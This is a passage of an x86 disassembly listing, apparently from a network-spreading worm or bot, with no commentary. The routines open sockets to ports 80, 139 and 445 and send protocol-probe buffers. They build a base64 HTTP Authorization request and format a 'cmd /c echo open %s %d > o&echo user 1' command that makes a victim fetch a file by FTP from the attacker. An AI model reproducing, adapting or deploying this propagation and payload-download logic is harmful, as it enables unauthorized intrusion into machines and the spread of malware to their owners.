		push	[ebp+arg_8]
		call	ds:dword_4514F0
		mov	[ebp+var_4], eax
		push	0
		lea	eax, [ebp+var_4]
		push	4
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_451540
		cmp	eax, 4
		jz	short loc_40CE84
		xor	al, al
		leave
		retn
; ---------------------------------------------------------------------------


loc_40CE84:				; CODE XREF: sub_40CE5A+24j
		push	0
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_451540
		sub	eax, [ebp+arg_8]
		neg	eax
		sbb	eax, eax
		inc	eax
		leave
		retn
sub_40CE5A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CE9F	proc near		; CODE XREF: sub_40CF79+48p
					; seg000:0040D3B1p

var_104		= byte ptr -104h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 104h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_8]
		lea	ebx, [edi+41h]
		push	ebx
		mov	[ebp+var_4], ebx
		call	sub_41AE40
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jnz	short loc_40CEC8
		xor	al, al
		jmp	loc_40CF74
; ---------------------------------------------------------------------------


loc_40CEC8:				; CODE XREF: sub_40CE9F+20j
		push	ebx
		push	0
		push	esi
		call	sub_41D100
		push	2Fh
		push	offset dword_446634
		push	esi
		call	sub_41E840
		push	8
		lea	eax, [esi+31h]
		push	offset dword_446664
		push	eax
		mov	[esi+2Fh], di
		call	sub_41E840
		push	edi
		lea	ebx, [esi+3Bh]
		push	[ebp+arg_4]
		mov	[esi+39h], di
		push	ebx
		call	sub_41E840
		push	6
		add	ebx, edi
		push	offset dword_4E2474
		push	ebx
		call	sub_41E840
		mov	ebx, [ebp+arg_0]
		push	85h
		push	offset dword_4465AC
		push	ebx
		call	sub_40CE5A
		add	esp, 48h
		test	al, al
		jnz	short loc_40CF30


loc_40CF2C:				; CODE XREF: sub_40CE9F+B5j
		xor	bl, bl
		jmp	short loc_40CF6B
; ---------------------------------------------------------------------------


loc_40CF30:				; CODE XREF: sub_40CE9F+8Bj
		mov	edi, 100h
		push	0
		lea	eax, [ebp+var_104]
		push	edi
		push	eax
		push	ebx
		call	sub_40CDDB
		push	[ebp+var_4]
		push	esi
		push	ebx
		call	sub_40CE5A
		add	esp, 1Ch
		test	al, al
		jz	short loc_40CF2C
		push	0
		lea	eax, [ebp+var_104]
		push	edi
		push	eax
		push	ebx
		call	sub_40CDDB
		add	esp, 10h
		mov	bl, 1


loc_40CF6B:				; CODE XREF: sub_40CE9F+8Fj
		push	esi
		call	sub_41B8B0
		pop	ecx
		mov	al, bl


loc_40CF74:				; CODE XREF: sub_40CE9F+24j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40CE9F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CF79	proc near		; CODE XREF: seg000:0040D397p

var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	0
		push	48h
		push	offset unk_446670
		push	[ebp+arg_0]
		call	ds:dword_4F14E8	; send
		cmp	eax, 48h
		jnz	short loc_40CFB4
		push	0
		lea	eax, [ebp+var_20]
		push	20h
		push	eax
		push	[ebp+arg_0]
		call	sub_40CDDB
		add	esp, 10h
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40CFB4
		cmp	[ebp+var_20], 82h
		jz	short loc_40CFB8


loc_40CFB4:				; CODE XREF: sub_40CF79+1Bj
					; sub_40CF79+33j
		xor	al, al
		leave
		retn
; ---------------------------------------------------------------------------


loc_40CFB8:				; CODE XREF: sub_40CF79+39j
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40CE9F
		add	esp, 0Ch
		leave
		retn
sub_40CF79	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CFCB	proc near		; CODE XREF: sub_40D017+29p

var_10		= qword	ptr -10h
var_8		= qword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_0]
		and	dword ptr [ebp+var_8+4], 0
		shl	eax, 3
		mov	dword ptr [ebp+var_8], eax
		fild	[ebp+var_8]
		fmul	ds:dbl_439460
		call	sub_41F33C
		and	dword ptr [ebp+var_8+4], 0
		mov	dword ptr [ebp+var_8], eax
		fild	[ebp+var_8]
		push	ecx
		push	ecx		; double
		fst	[ebp+var_8]
		fmul	ds:dbl_439458
		fstp	[esp+10h+var_10]
		call	sub_41F150
		fadd	st, st
		pop	ecx
		pop	ecx
		fadd	[ebp+var_8]
		call	sub_41F33C
		inc	eax
		leave
		retn
sub_40CFCB	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D017	proc near		; CODE XREF: sub_40D18E+23p

var_40		= qword	ptr -40h

		mov	eax, offset loc_437FCF
		call	sub_41F980
		sub	esp, 2Ch
		push	esi
		lea	eax, [ebp-0Dh]
		push	edi
		xor	esi, esi
		push	eax
		lea	ecx, [ebp-38h]
		mov	[ebp-20h], esi
		call	sub_40D41D
		push	1
		pop	edi
		push	dword ptr [ebp+10h]
		mov	[ebp-4], edi
		call	sub_40CFCB
		pop	ecx
		push	eax
		lea	ecx, [ebp-38h]
		call	sub_40D532
		cmp	[ebp+10h], esi
		mov	[ebp-18h], esi
		jbe	loc_40D162
		push	ebx
		mov	ebx, [ebp+10h]


loc_40D05F:				; CODE XREF: sub_40D017+144j
		cmp	dword ptr [ebp+10h], 3
		jb	short loc_40D06A
		push	3


loc_40D067:				; CODE XREF: sub_40D017+5Bj
		pop	ebx
		jmp	short loc_40D07B
; ---------------------------------------------------------------------------


loc_40D06A:				; CODE XREF: sub_40D017+4Cj
		cmp	dword ptr [ebp+10h], 2
		jnz	short loc_40D074
		push	2
		jmp	short loc_40D067
; ---------------------------------------------------------------------------


loc_40D074:				; CODE XREF: sub_40D017+57j
		cmp	[ebp+10h], edi
		jnz	short loc_40D07B
		mov	ebx, edi


loc_40D07B:				; CODE XREF: sub_40D017+51j
					; sub_40D017+60j
		and	dword ptr [ebp-24h], 0
		mov	[ebp-28h], ebx
		fild	qword ptr [ebp-28h]
		push	ecx
		push	ecx		; double
		fmul	ds:dbl_439468
		fstp	[esp+40h+var_40]
		call	sub_41F370
		pop	ecx
		pop	ecx
		call	sub_41F33C
		test	ebx, ebx
		mov	[ebp-1Ch], eax
		jbe	short loc_40D0BC
		mov	esi, [ebp+0Ch]
		mov	ecx, ebx
		mov	edx, ecx
		lea	edi, [ebp-10h]
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		push	1
		and	ecx, 3
		rep movsb
		pop	edi


loc_40D0BC:				; CODE XREF: sub_40D017+8Aj
		mov	cl, [ebp-10h]
		mov	dl, [ebp-10h]
		sar	cl, 2
		and	cl, 3Fh
		and	dl, 3
		mov	[ebp-14h], cl
		mov	cl, [ebp-0Fh]
		sar	cl, 4
		and	cl, 0Fh
		add	[ebp+0Ch], ebx
		shl	dl, 4
		add	cl, dl
		mov	dl, [ebp-0Fh]
		mov	[ebp-13h], cl
		mov	cl, [ebp-0Eh]
		sar	cl, 6
		and	dl, 0Fh
		sub	[ebp+10h], ebx
		and	cl, 3
		xor	esi, esi
		shl	dl, 2
		add	cl, dl
		mov	[ebp-12h], cl
		mov	cl, [ebp-0Eh]
		and	cl, 3Fh
		test	eax, eax
		mov	[ebp-11h], cl
		jbe	short loc_40D129
		add	[ebp-18h], eax


loc_40D10E:				; CODE XREF: sub_40D017+110j
		movsx	eax, byte ptr [ebp+esi-14h]
		lea	ecx, [ebp-38h]
		mov	al, ds:byte_4466BC[eax]
		push	eax
		push	edi
		call	sub_40D4B2
		inc	esi
		cmp	esi, [ebp-1Ch]
		jb	short loc_40D10E


loc_40D129:				; CODE XREF: sub_40D017+F2j
		cmp	dword ptr [ebp-18h], 48h
		jb	short loc_40D13E
		push	dword ptr [ebp+14h]
		lea	ecx, [ebp-38h]
		call	sub_40D48A
		and	dword ptr [ebp-18h], 0


loc_40D13E:				; CODE XREF: sub_40D017+116j
		push	4
		pop	esi
		cmp	[ebp-1Ch], esi
		jnb	short loc_40D157
		sub	esi, [ebp-1Ch]


loc_40D149:				; CODE XREF: sub_40D017+13Ej
		push	3Dh
		push	edi
		lea	ecx, [ebp-38h]
		call	sub_40D4B2
		dec	esi
		jnz	short loc_40D149


loc_40D157:				; CODE XREF: sub_40D017+12Dj
		cmp	dword ptr [ebp+10h], 0
		ja	loc_40D05F
		pop	ebx


loc_40D162:				; CODE XREF: sub_40D017+3Ej
		mov	ecx, [ebp+8]
		lea	eax, [ebp-38h]
		push	eax
		call	sub_40D435
		mov	[ebp-20h], edi
		and	byte ptr [ebp-4], 0
		lea	ecx, [ebp-38h]
		call	sub_40D482
		mov	ecx, [ebp-0Ch]
		mov	eax, [ebp+8]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		leave
		retn
sub_40D017	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D18E	proc near		; CODE XREF: seg000:0040D37Ap
		mov	eax, offset loc_437FE9
		call	sub_41F980
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		push	offset dword_4E2480
		and	dword ptr [ebp-4], 0
		push	dword ptr [ebp+10h]
		lea	eax, [ebp-1Ch]
		push	dword ptr [ebp+0Ch]
		push	eax
		call	sub_40D017
		add	esp, 10h
		lea	ecx, [ebp-1Ch]
		mov	byte ptr [ebp-4], 1
		call	sub_40D52E
		lea	ecx, [ebp+14h]
		mov	esi, eax
		call	sub_40D52E
		lea	esi, [esi+eax+36h]
		push	esi
		call	sub_41AE40
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_40D1E4
		xor	bl, bl
		jmp	short loc_40D223
; ---------------------------------------------------------------------------


loc_40D1E4:				; CODE XREF: sub_40D18E+50j
		lea	ecx, [ebp-1Ch]
		call	sub_40D521
		push	eax
		lea	ecx, [ebp+14h]
		call	sub_40D521
		push	eax
		push	offset aGetHttp1_0Host ; "GET /	HTTP/1.0\r\nHost: %s\r\nAuthorization"...
		push	esi
		push	edi
		call	sub_41D360
		add	esp, 14h
		push	0
		push	esi
		push	edi
		push	dword ptr [ebp+8]
		call	ds:dword_451540
		cmp	eax, esi
		jz	short loc_40D21A
		xor	bl, bl
		jmp	short loc_40D21C
; ---------------------------------------------------------------------------


loc_40D21A:				; CODE XREF: sub_40D18E+86j
		mov	bl, 1


loc_40D21C:				; CODE XREF: sub_40D18E+8Aj
		push	edi
		call	sub_41B8B0
		pop	ecx


loc_40D223:				; CODE XREF: sub_40D18E+54j
		and	byte ptr [ebp-4], 0
		lea	ecx, [ebp-1Ch]
		call	sub_40D482
		or	dword ptr [ebp-4], 0FFFFFFFFh
		lea	ecx, [ebp+14h]
		call	sub_40D482
		mov	ecx, [ebp-0Ch]
		pop	edi
		mov	al, bl
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn
sub_40D18E	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 428h
		and	byte ptr [ebp-428h], 0
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0FFh
		xor	eax, eax
		lea	edi, [ebp-427h]
		push	8Fh
		rep stosd
		stosw
		stosb
		lea	eax, [ebp-428h]
		push	offset sub_446868
		push	eax
		call	sub_41E840
		add	esp, 0Ch
		mov	eax, offset byte_43CCBC
		push	eax
		push	eax
		movzx	eax, word ptr ds:dword_4DF1B8
		push	eax
		push	dword ptr [ebp+8]
		call	sub_402617
		pop	ecx
		push	eax
		push	offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d > o&echo user 1 "...
		lea	eax, [ebp-399h]
		push	400h
		push	eax
		call	sub_41D360
		add	eax, 90h
		push	eax
		lea	eax, [ebp-428h]
		push	eax
		push	164h
		lea	eax, [ebp-28h]
		push	offset sub_446700
		push	eax
		call	sub_40CA75
		mov	ecx, [eax]
		xor	ebx, ebx
		mov	[ebp-8], ecx
		add	esp, 30h
		mov	eax, [eax+4]
		cmp	eax, ebx
		mov	[ebp-4], eax
		jnz	short loc_40D2F4
		xor	eax, eax
		jmp	loc_40D402
; ---------------------------------------------------------------------------


loc_40D2F4:				; CODE XREF: seg000:0040D2EBj
		mov	[ebp-0Ch], ebx


loc_40D2F7:				; CODE XREF: seg000:0040D3D9j
		test	ebx, ebx
		jnz	loc_40D3DF
		push	6
		push	1
		push	2
		call	ds:dword_4F14E4	; socket
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	loc_40D3C7
		xor	eax, eax
		lea	edi, [ebp-1Eh]
		stosd
		push	dword ptr [ebp+0A8h]
		stosd
		stosd
		stosw
		mov	word ptr [ebp-20h], 2
		call	ds:dword_4514F4
		mov	[ebp-1Eh], ax
		lea	eax, [ebp+0Ch]
		push	eax
		call	ds:dword_451530
		mov	[ebp-1Ch], eax
		lea	eax, [ebp-20h]
		push	10h
		push	eax
		push	esi
		call	ds:dword_45149C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40D3BC
		cmp	dword ptr [ebp+0A8h], 50h
		jnz	short loc_40D384
		sub	esp, 10h
		lea	eax, [ebp-0Dh]
		mov	ecx, esp
		mov	[ebp-24h], esp
		push	eax
		lea	eax, [ebp+0Ch]
		push	eax
		call	sub_40D45F
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	esi
		call	sub_40D18E
		add	esp, 1Ch
		jmp	short loc_40D3B9
; ---------------------------------------------------------------------------


loc_40D384:				; CODE XREF: seg000:0040D35Cj
		cmp	dword ptr [ebp+0A8h], 8Bh
		jnz	short loc_40D39E
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	esi
		call	sub_40CF79
		jmp	short loc_40D3B6
; ---------------------------------------------------------------------------


loc_40D39E:				; CODE XREF: seg000:0040D38Ej
		cmp	dword ptr [ebp+0A8h], 1BDh
		jnz	short loc_40D3BC
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	esi
		call	sub_40CE9F


loc_40D3B6:				; CODE XREF: seg000:0040D39Cj
		add	esp, 0Ch


loc_40D3B9:				; CODE XREF: seg000:0040D382j
		movzx	ebx, al


loc_40D3BC:				; CODE XREF: seg000:0040D353j
					; seg000:0040D3A8j
		push	esi
		call	ds:dword_451588
		test	ebx, ebx
		jnz	short loc_40D3D2


loc_40D3C7:				; CODE XREF: seg000:0040D310j
		push	3E8h
		call	ds:dword_4F12F4	; Sleep


loc_40D3D2:				; CODE XREF: seg000:0040D3C5j
		inc	dword ptr [ebp-0Ch]
		cmp	dword ptr [ebp-0Ch], 2
		jl	loc_40D2F7


loc_40D3DF:				; CODE XREF: seg000:0040D2F9j
		lea	ecx, [ebp-8]
		call	sub_40C89A
		test	ebx, ebx
		jz	short loc_40D400
		mov	eax, [ebp+0B0h]
		shl	eax, 6
		inc	ds:dword_4439F8[eax]
		lea	eax, dword_4439F8[eax]


loc_40D400:				; CODE XREF: seg000:0040D3E9j
		mov	eax, ebx


loc_40D402:				; CODE XREF: seg000:0040D2EFj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_40D407:				; DATA XREF: seg002:0043C008o
		call	sub_40D9FE
		jmp	$+5
		push	offset nullsub_1
		call	sub_41FE70
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================



sub_40D41D	proc near		; CODE XREF: sub_40D017+1Bp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	0
		mov	al, [eax]
		mov	[esi], al
		call	sub_40D79F
		mov	eax, esi
		pop	esi
		retn	4
sub_40D41D	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D435	proc near		; CODE XREF: sub_40D017+152p
					; sub_4373C0+3Cp ...

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		push	0
		mov	al, [edi]
		mov	[esi], al
		call	sub_40D79F
		push	ds:dword_439470
		mov	ecx, esi
		push	0
		push	edi
		call	sub_40D5B0
		mov	eax, esi
		pop	edi
		pop	esi
		retn	4
sub_40D435	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D45F	proc near		; CODE XREF: seg000:0040D36Ep
					; sub_437360+27p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	esi
		mov	esi, ecx
		push	0
		mov	al, [eax]
		mov	[esi], al
		call	sub_40D79F
		push	[esp+4+arg_0]
		mov	ecx, esi
		call	sub_40D6A6
		mov	eax, esi
		pop	esi
		retn	8
sub_40D45F	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D482	proc near		; CODE XREF: sub_40D017+161p
					; sub_40D18E+9Cp ...
		push	1
		call	sub_40D79F
		retn
sub_40D482	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D48A	proc near		; CODE XREF: sub_40D017+11Ep

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_0]
		call	sub_40D4A7
		pop	ecx
		push	eax
		mov	ecx, esi
		push	[esp+8+arg_0]
		call	sub_40D546
		pop	esi
		retn	4
sub_40D48A	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D4A7	proc near		; CODE XREF: sub_40D48A+7p
					; sub_40D6A6+7p

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_41AC70
		pop	ecx
		retn
sub_40D4A7	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D4B2	proc near		; CODE XREF: sub_40D017+107p
					; sub_40D017+138p

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		mov	eax, ds:dword_439470
		push	ebx
		mov	ebx, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	edi
		sub	eax, [esi+8]
		cmp	eax, ebx
		ja	short loc_40D4CC
		call	sub_437360


loc_40D4CC:				; CODE XREF: sub_40D4B2+13j
		test	ebx, ebx
		jbe	short loc_40D500
		mov	edi, ebx
		push	0
		add	edi, [esi+8]
		mov	ecx, esi
		push	edi
		call	sub_40D6F3
		test	al, al
		jz	short loc_40D500
		lea	eax, [esp+0Ch+arg_4]
		push	eax
		mov	eax, [esi+4]
		add	eax, [esi+8]
		push	ebx
		push	eax
		call	sub_40D508
		add	esp, 0Ch
		mov	ecx, esi
		push	edi
		call	sub_40D6C3


loc_40D500:				; CODE XREF: sub_40D4B2+1Cj
					; sub_40D4B2+2Fj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40D4B2	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D508	proc near		; CODE XREF: sub_40D4B2+3Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_8]
		push	[esp+arg_4]
		movsx	eax, byte ptr [eax]
		push	eax
		push	[esp+8+arg_0]
		call	sub_41D100
		add	esp, 0Ch
		retn
sub_40D508	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D521	proc near		; CODE XREF: sub_40D18E+59p
					; sub_40D18E+62p ...
		mov	eax, [ecx+4]
		test	eax, eax
		jnz	short locret_40D52D
		call	sub_40D799

locret_40D52D:				; CODE XREF: sub_40D521+5j
		retn
sub_40D521	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D52E	proc near		; CODE XREF: sub_40D18E+32p
					; sub_40D18E+3Cp
		mov	eax, [ecx+8]
		retn
sub_40D52E	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D532	proc near		; CODE XREF: sub_40D017+33p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	[ecx+0Ch], eax
		jnb	short locret_40D543
		push	0
		push	eax
		call	sub_40D6F3

locret_40D543:				; CODE XREF: sub_40D532+7j
		retn	4
sub_40D532	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D546	proc near		; CODE XREF: sub_40D48A+14p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, ds:dword_439470
		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		mov	esi, ecx
		push	edi
		sub	eax, [esi+8]
		cmp	eax, ebx
		ja	short loc_40D560
		call	sub_437360


loc_40D560:				; CODE XREF: sub_40D546+13j
		test	ebx, ebx
		jbe	short loc_40D593
		mov	edi, ebx
		push	0
		add	edi, [esi+8]
		mov	ecx, esi
		push	edi
		call	sub_40D6F3
		test	al, al
		jz	short loc_40D593
		mov	eax, [esi+4]
		push	ebx
		push	[esp+10h+arg_0]
		add	eax, [esi+8]
		push	eax
		call	sub_40D59B
		add	esp, 0Ch
		mov	ecx, esi
		push	edi
		call	sub_40D6C3


loc_40D593:				; CODE XREF: sub_40D546+1Cj
					; sub_40D546+2Fj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40D546	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D59B	proc near		; CODE XREF: sub_40D546+3Dp
					; sub_40D5B0+D9p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	[esp+arg_8]
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_41E840
		add	esp, 0Ch
		retn
sub_40D59B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D5B0	proc near		; CODE XREF: sub_40D435+1Ep

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		mov	esi, ecx
		push	edi
		mov	ecx, ebx
		call	sub_40D6A2
		cmp	eax, [ebp+arg_4]
		jnb	short loc_40D5CC
		call	sub_437660


loc_40D5CC:				; CODE XREF: sub_40D5B0+15j
		mov	ecx, ebx
		call	sub_40D6A2
		mov	edi, eax
		mov	eax, [ebp+arg_4]
		sub	edi, eax
		cmp	[ebp+arg_8], edi
		jnb	short loc_40D5E2
		mov	edi, [ebp+arg_8]


loc_40D5E2:				; CODE XREF: sub_40D5B0+2Dj
		cmp	esi, ebx
		jnz	short loc_40D607
		push	ds:dword_439470
		add	edi, eax
		mov	ecx, esi
		push	edi
		call	sub_40D82F
		push	[ebp+arg_4]
		mov	ecx, esi
		push	0
		call	sub_40D82F
		jmp	loc_40D699
; ---------------------------------------------------------------------------


loc_40D607:				; CODE XREF: sub_40D5B0+34j
		test	edi, edi
		jbe	short loc_40D66C
		mov	ecx, ebx
		call	sub_40D6A2
		cmp	edi, eax
		jnz	short loc_40D66C
		mov	ecx, ebx
		call	sub_40D521
		push	eax
		mov	ecx, esi
		call	sub_40D984
		cmp	byte ptr [eax],	0FEh
		jnb	short loc_40D66C
		push	ebx
		push	esi
		call	sub_40D9E9
		pop	ecx
		test	al, al
		pop	ecx
		jz	short loc_40D66C
		push	1
		mov	ecx, esi
		call	sub_40D79F
		mov	ecx, ebx
		call	sub_40D521
		mov	ecx, ebx
		mov	[esi+4], eax
		call	sub_40D6A2
		mov	ecx, ebx
		mov	[esi+8], eax
		call	sub_40D8BB
		push	dword ptr [esi+4]
		mov	ecx, esi
		mov	[esi+0Ch], eax
		call	sub_40D984
		inc	byte ptr [eax]
		jmp	short loc_40D699
; ---------------------------------------------------------------------------


loc_40D66C:				; CODE XREF: sub_40D5B0+59j
					; sub_40D5B0+64j ...
		push	1
		push	edi
		mov	ecx, esi
		call	sub_40D6F3
		test	al, al
		jz	short loc_40D699
		push	edi
		mov	ecx, ebx
		call	sub_40D521
		add	eax, [ebp+arg_4]
		push	eax
		push	dword ptr [esi+4]
		call	sub_40D59B
		add	esp, 0Ch
		mov	ecx, esi
		push	edi
		call	sub_40D6C3


loc_40D699:				; CODE XREF: sub_40D5B0+52j
					; sub_40D5B0+BAj ...
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	0Ch
sub_40D5B0	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D6A2	proc near		; CODE XREF: sub_40D5B0+Dp
					; sub_40D5B0+1Ep ...
		mov	eax, [ecx+8]
		retn
sub_40D6A2	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D6A6	proc near		; CODE XREF: sub_40D45F+18p
					; sub_40D999+34p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_0]
		call	sub_40D4A7
		pop	ecx
		push	eax
		mov	ecx, esi
		push	[esp+8+arg_0]
		call	sub_40D7F9
		pop	esi
		retn	4
sub_40D6A6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D6C3	proc near		; CODE XREF: sub_40D4B2+49p
					; sub_40D546+48p ...

var_1		= byte ptr -1
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		and	[ebp+var_1], 0
		mov	[ecx+8], eax
		mov	ecx, [ecx+4]
		lea	edx, [ebp+var_1]
		add	ecx, eax
		push	edx
		push	ecx
		call	sub_40D6E6
		pop	ecx
		pop	ecx
		leave
		retn	4
sub_40D6C3	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D6E6	proc near		; CODE XREF: sub_40D6C3+18p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		mov	al, [eax]
		mov	[ecx], al
		retn
sub_40D6E6	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D6F3	proc near		; CODE XREF: sub_40D4B2+28p
					; sub_40D532+Cp ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	ebx
		push	esi
		push	edi
		mov	esi, ecx
		call	sub_40D8A9
		mov	edi, [esp+0Ch+arg_0]
		cmp	eax, edi
		jnb	short loc_40D70A
		call	sub_437360


loc_40D70A:				; CODE XREF: sub_40D6F3+10j
		mov	eax, [esi+4]
		xor	ebx, ebx
		cmp	eax, ebx
		jz	short loc_40D74A
		push	eax
		mov	ecx, esi
		call	sub_40D984
		cmp	[eax], bl
		jz	short loc_40D74A
		push	dword ptr [esi+4]
		mov	ecx, esi
		call	sub_40D984
		cmp	byte ptr [eax],	0FFh
		jz	short loc_40D74A
		cmp	edi, ebx
		jnz	short loc_40D789
		push	dword ptr [esi+4]
		mov	ecx, esi
		call	sub_40D984
		dec	byte ptr [eax]
		push	ebx


loc_40D73F:				; CODE XREF: sub_40D6F3+63j
		mov	ecx, esi
		call	sub_40D79F


loc_40D746:				; CODE XREF: sub_40D6F3+68j
					; sub_40D6F3+72j
		xor	al, al
		jmp	short loc_40D793
; ---------------------------------------------------------------------------


loc_40D74A:				; CODE XREF: sub_40D6F3+1Ej
					; sub_40D6F3+2Aj ...
		cmp	edi, ebx
		jnz	short loc_40D767
		cmp	[esp+0Ch+arg_4], bl
		jz	short loc_40D758
		push	1
		jmp	short loc_40D73F
; ---------------------------------------------------------------------------


loc_40D758:				; CODE XREF: sub_40D6F3+5Fj
		cmp	[esi+4], ebx
		jz	short loc_40D746
		push	ebx
		mov	ecx, esi
		call	sub_40D6C3
		jmp	short loc_40D746
; ---------------------------------------------------------------------------


loc_40D767:				; CODE XREF: sub_40D6F3+59j
		cmp	[esp+0Ch+arg_4], bl
		jz	short loc_40D784
		mov	eax, [esi+0Ch]
		cmp	eax, 1Fh
		ja	short loc_40D779
		cmp	eax, edi
		jnb	short loc_40D791


loc_40D779:				; CODE XREF: sub_40D6F3+80j
		push	1
		mov	ecx, esi
		call	sub_40D79F
		jmp	short loc_40D789
; ---------------------------------------------------------------------------


loc_40D784:				; CODE XREF: sub_40D6F3+78j
		cmp	[esi+0Ch], edi
		jnb	short loc_40D791


loc_40D789:				; CODE XREF: sub_40D6F3+3Dj
					; sub_40D6F3+8Fj
		push	edi
		mov	ecx, esi
		call	sub_40D8BF


loc_40D791:				; CODE XREF: sub_40D6F3+84j
					; sub_40D6F3+94j
		mov	al, 1


loc_40D793:				; CODE XREF: sub_40D6F3+55j
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40D6F3	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D799	proc near		; CODE XREF: sub_40D521+7p
		mov	eax, offset dword_439474
		retn
sub_40D799	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D79F	proc near		; CODE XREF: sub_40D41D+Dp
					; sub_40D435+Ep ...

arg_0		= byte ptr  4

		push	ebx
		xor	ebx, ebx
		cmp	[esp+4+arg_0], bl
		push	esi
		mov	esi, ecx
		jz	short loc_40D7EB
		mov	eax, [esi+4]
		cmp	eax, ebx
		jz	short loc_40D7EB
		push	eax
		call	sub_40D984
		cmp	[eax], bl
		jz	short loc_40D7D9
		push	dword ptr [esi+4]
		mov	ecx, esi
		call	sub_40D984
		cmp	byte ptr [eax],	0FFh
		jz	short loc_40D7D9
		push	dword ptr [esi+4]
		mov	ecx, esi
		call	sub_40D984
		dec	byte ptr [eax]
		jmp	short loc_40D7EB
; ---------------------------------------------------------------------------


loc_40D7D9:				; CODE XREF: sub_40D79F+1Bj
					; sub_40D79F+2Aj
		mov	eax, [esi+0Ch]
		mov	ecx, esi
		inc	eax
		inc	eax
		push	eax
		mov	eax, [esi+4]
		dec	eax
		push	eax
		call	sub_40D98C


loc_40D7EB:				; CODE XREF: sub_40D79F+Aj
					; sub_40D79F+11j ...
		mov	[esi+4], ebx
		mov	[esi+8], ebx
		mov	[esi+0Ch], ebx
		pop	esi
		pop	ebx
		retn	4
sub_40D79F	endp


; =============== S U B	R O U T	I N E =======================================



